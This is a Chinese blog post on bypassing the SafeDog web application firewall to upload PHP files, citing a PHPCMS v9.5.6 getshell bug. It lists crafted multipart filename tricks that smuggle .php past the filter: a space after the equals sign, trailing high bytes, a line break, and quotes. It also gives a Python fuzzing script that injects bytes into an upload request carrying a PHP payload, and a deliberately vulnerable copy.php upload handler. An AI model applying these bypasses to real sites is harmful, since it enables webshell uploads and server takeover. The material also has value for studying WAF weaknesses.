• PHPCMS v9.5.6 通杀getshell(前台)


    漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-062881.html

    很好的fuzz思路。

    文章提到:文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉.该特性雷同Windows下对"."和" "(空格), ::$DATA的忽略。

    这个特性可以用来绕过安全狗,比如 xxx.php.  比较早期的安全狗就不对这个后缀进行拦截。

      

    这是最新版的绕过安全狗进行上传。思路是和fuzz的思路一样,应该早就有人发出来了,但是没修。所以记录一下。

    对于上传的包:Content-Disposition: form-data; name="file"; filename= "x.php";

    注意看filename= "x.php";   等号后面有个空格,这样就能绕过安全狗进行上传了,支持的有  09,20

    对于上传的包:Content-Disposition: form-data; name="file"; filename="x.php�";

    x.php后面也就是漏洞所说的 %81--%99会被干掉 安全狗对于这个也不防御。 �支持的有 81-99 ,00

    Content-Disposition: form-data; name="file"; filename="2v333332322vx
    .php";

    加个换行也能绕过安全狗

    在补充个,如果能上传的网站对于上传的名字没有修改,那么可以加单引号来绕过安全狗。

    fuzz的脚本如下。

    需要hackhttp的包,pip install hackhttp

    #!/usr/local/bin/ python
    # -*- coding: utf-8 -*-
    
    __author__ = 'yangxiaodi'
    
    import urllib
    import hackhttp
    import random
    hackhttp=hackhttp.hackhttp()
    
    
    
    def randstr(num):
        sts = ''
        char = '1234567890abcdexyz'
        for i in range(num):
            sts += random.choice(char)
        return sts
    
    def hex_to_ascii(ch):
        return '{:c}'.format(int(float.fromhex(ch)))
    
    raw_data = '''POST /copy.php HTTP/1.1
    Host: 172.16.220.136
    Content-Length: 296
    Cache-Control: max-age=0
    Origin: http://172.16.220.136
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ9o2JkrnEtFaefTV
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    DNT: 1
    Referer: http://172.16.220.136/1.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
    Connection: close
    
    ------WebKitFormBoundaryJ9o2JkrnEtFaefTV
    Content-Disposition: form-data; name="file"; filename="q.php";
    Content-Type: text/xml
    
    <?php phpinfo();?>
    ------WebKitFormBoundaryJ9o2JkrnEtFaefTV
    Content-Disposition: form-data; name="submit"
    
    upload
    ------WebKitFormBoundaryJ9o2JkrnEtFaefTV--
    
    '''
    
    for u in range(625,872):
        for i in range(1,255):
            s = '%03d' % i
            shex = hex_to_ascii(s)
            data=raw_data[:u]+shex+raw_data[u:]
            code, head, html, redirect_url, log=hackhttp.http(url="http://172.16.220.136/copy.php", raw=data)
            if 'upload/q.php<br>' in html:
                print u,i,data,html,'
    '
    

    copy.php如下

    <?php
    
    if(isset($_POST['submit'])){
    
    	$savefile = $_FILES['file']['name'];
    
    	$tempfile = $_FILES['file']['tmp_name'];
    
    	$savefile = preg_replace("/(php4)(.|$)/i", "_\1\2", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php
    
    	$savefile = 'upload/'.$savefile;
    
    
    
    	if(upload($tempfile,$savefile,true)){
    
    
    		exit('Success upload,path is:'.$savefile."<br>");
    
    	}
    
    }
    
    function upload($src,$dst,$mode=false){
    
    	if($mode){
    
    
    		if(copy($src,$dst)){
    
    			return true;
    
    		}
    
    	}else{
    
    		if(@move_uploaded_file($src,$dst)){
    
    			return true;
    
    		}
    
    	}
    
    	return false;
    
    }
    
    ?>
    

      

    1.html如下

    <html>
    
    <body>
    
    <form method="post" action="copy.php" enctype="multipart/form-data">
    
     <input type="file" name="file" value="1111"/>
    
     <input type="submit" name="submit" value="upload"/>
    
    </form>
    
    </body>
    
    </html>
    

      

      

  • 相关阅读:
    论文阅读 | Adversarial Example Generation with Syntactically Controlled Paraphrase Networks
    Textual Entailment(自然语言推理-文本蕴含)
    论文阅读 | Probing Neural Network Understanding of Natural Language Arguments
    BiLSTM-CRF模型理解
    论文阅读 | Text Processing Like Humans Do: Visually Attacking and Shielding NLP Systems
    论文阅读 | Universal Adversarial Triggers for Attacking and Analyzing NLP
    QA 中的对抗攻击和防御
    2010 年 10 年前的网文【我的10年计算机之路】
    IntelliJ 的搜索和全局搜索怎么用
    Spring Data 的 Pivotal GemFire 参考指南前言
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/6913091.html
Copyright © 2020-2023  润新知